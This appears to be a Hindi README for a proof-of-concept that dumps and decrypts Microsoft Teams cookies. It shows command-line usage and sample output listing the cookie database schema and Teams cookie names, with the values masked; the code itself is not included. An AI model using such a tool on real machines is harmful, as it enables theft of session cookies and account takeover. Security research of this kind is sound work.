
Microsoft Teams के नवीनतम संस्करण में कुकीज़ को डंप और डिक्रिप्ट करने के लिए PoC
extract.py बिना तर्कों के केवल डंप करता है
extract.exe केवल extract.py है जिसे एक exe में पैक किया गया है
डेटाबेस में मानों की सूची बनाएं
python.exe .\teams_dump.py teams --list
Table: meta
Columns in meta: key, value
--------------------------------------------------
Table: cookies
Columns in cookies: creation_utc, host_key, top_frame_site_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, is_same_party
डेटाबेस को एक json फ़ाइल में डंप करें
python.exe .\teams_dump.py teams --get
[+] Host: teams.microsoft.com
[+] Cookie Name MUIDB
[+] Cookie Value: xxxxxxxxxxxxxx
**************************************************
[+] Host: teams.microsoft.com
[+] Cookie Name TSREGIONCOOKIE
[+] Cookie Value: xxxxxxxxxxxxxx
**************************************************